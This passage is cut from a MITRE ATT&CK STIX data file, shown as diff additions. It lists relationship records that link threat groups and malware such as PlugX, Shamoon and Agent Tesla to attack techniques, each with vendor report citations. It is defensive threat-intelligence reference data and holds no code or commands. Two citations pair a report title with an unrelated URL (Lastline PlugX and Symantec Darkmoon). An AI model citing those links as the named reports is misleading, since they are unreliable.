"source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) listed connected network shares.", + "type": "relationship", + "created": "2019-01-30T15:33:07.629Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e07b76a4-98d7-4adc-b90e-a1f7f2266867", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.833Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) uses XOR and RC4 to perform decryption on the code functions.", + "type": "relationship", + "created": "2019-01-30T15:47:41.410Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d98b5525-3cc5-4058-baf5-d614b91eb814", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.410Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded using HTTP over port 443.", + "type": "relationship", + "created": "2019-01-30T16:39:54.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d53cb718-c7a5-42e5-bc2b-dc14ceebbb17", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.805Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to obtain a list of running processes on the system.", + "type": "relationship", + "created": "2019-01-30T17:33:40.978Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f81120a-adde-47cc-95bc-cd8201eb0a11", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:58.761Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TDTESS](https://attack.mitre.org/software/S0164) has a command to download and execute an additional file.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af4d45e1-1aa4-444c-b176-31df7aaf9374", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can enumerate and query for information contained within the Windows Registry.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e", + "external_references": [ + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. 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Retrieved September 21, 2018.", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "relationship_type": "uses", + "target_ref": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) hides any strings related to its own indicators of compromise.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27f8b192-9e86-49dc-abca-5bda3f8f7e89", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. 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Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has used UPX to pack [Bandook](https://attack.mitre.org/software/S0234).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--31fb3ebe-3fc9-4257-b7d5-a1b12b54bbe3", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:21.033Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SslMM](https://attack.mitre.org/software/S0058) contains a feature to manipulate process privileges and tokens.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93d83b03-8367-4655-84a5-9abaee885700", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-25T02:48:47.521Z", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "relationship_type": "uses", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) uses HTTP and HTTPS for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used Registry keys to detect and avoid executing in potential sandboxes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ce61b6a-b1fd-4e21-874a-774a1487fa12", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.824Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.591Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--845482a1-a062-407d-a83e-90d883d1d91b", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the system information, including hostname and OS version, and sends it to the C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f653750-2ee6-4d00-906b-c71f1d217288", + "external_references": [ + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) can use HTTP or SMTP for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d to execute the payload.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--73a53379-746e-46db-b101-1fc45df5e458", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.361Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can perform keylogging on the victim\u2019s machine by hooking the functions TranslateMessage and WM_KEYDOWN.", + "type": "relationship", + "created": "2019-01-29T17:59:44.405Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df0784ed-8411-4215-bebc-51c6ac3bf5df", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.188Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to download and execute files on the compromised machine.", + "type": "relationship", + "created": "2019-01-29T18:17:59.262Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7c8e34ad-89a4-44cf-bd56-d1583803f086", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.994Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) encrypts the data with 3DES before sending it over the C2 server.", + "type": "relationship", + "created": "2019-01-29T18:44:05.137Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c48ff628-9276-492f-a61c-73989785b292", + "external_references": [ + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "modified": "2019-04-16T14:30:35.382Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can start a command shell.", + "type": "relationship", + "created": "2019-01-29T19:09:26.741Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3aef452a-4ad9-4882-aebb-0043f2329f1d", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.425Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can obtain the victim IP address.", + "type": "relationship", + "created": "2019-01-30T17:48:35.681Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7558a855-25fc-47cb-84ef-680f337f7d6d", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.681Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) identifies network drives when they are added to victim systems.", + "type": "relationship", + "created": "2019-01-30T18:39:48.381Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e27ebd5b-4ed3-4c04-96e3-026bd127ed64", + "external_references": [ + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "modified": "2019-07-17T01:18:32.763Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) scrambles and encrypts data using AES256 before sending it to the C2 server.", + "type": "relationship", + "created": "2019-01-30T19:18:20.134Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8bb51178-fa35-4441-99f3-f01fb305b03b", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "modified": "2019-01-30T19:18:20.134Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) collects OS information and the computer name from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T20:01:45.460Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2910f5f5-38d6-418a-8566-23d31b93b124", + "external_references": [ + { + "source_name": "Securelist Denis April 2017", + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-04-24T20:56:04.719Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can delete files.", + "type": "relationship", + "created": "2019-01-31T00:36:41.013Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--432f7a25-5994-4f50-8b75-c62c674f27a7", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.304Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used macros, PowerShell scripts, COM scriptlets, and VBS scripts.", + "type": "relationship", + "created": "2019-01-31T01:07:58.722Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--31d179f8-3ad0-42da-9e82-25100057ca2b", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.429Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) decrypts task and configuration files for execution.", + "type": "relationship", + "created": "2019-01-29T19:36:02.753Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--848313af-f9c3-4b51-a24a-d2e88487ab53", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.692Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) collects the user name from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:55:48.181Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1547f28f-d6b7-43cc-8b89-0eaa524648b8", + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:43.023Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can create a new service, naming it after the config information, to gain persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--68d41471-49c7-4210-8d9b-2958e95feb1a", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "modified": "2019-07-14T21:15:55.368Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has encrypted configuration files.", + "type": "relationship", + "created": "2019-01-29T20:17:49.354Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--86333028-9eb1-44a3-9a5a-51fffe66f0e1", + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "modified": "2019-06-30T22:44:28.260Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) encrypts C2 traffic using an XOR/ADD cipher and uses a FakeTLS method.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a11eb81-545a-4153-8c3b-feb47db1f288", + 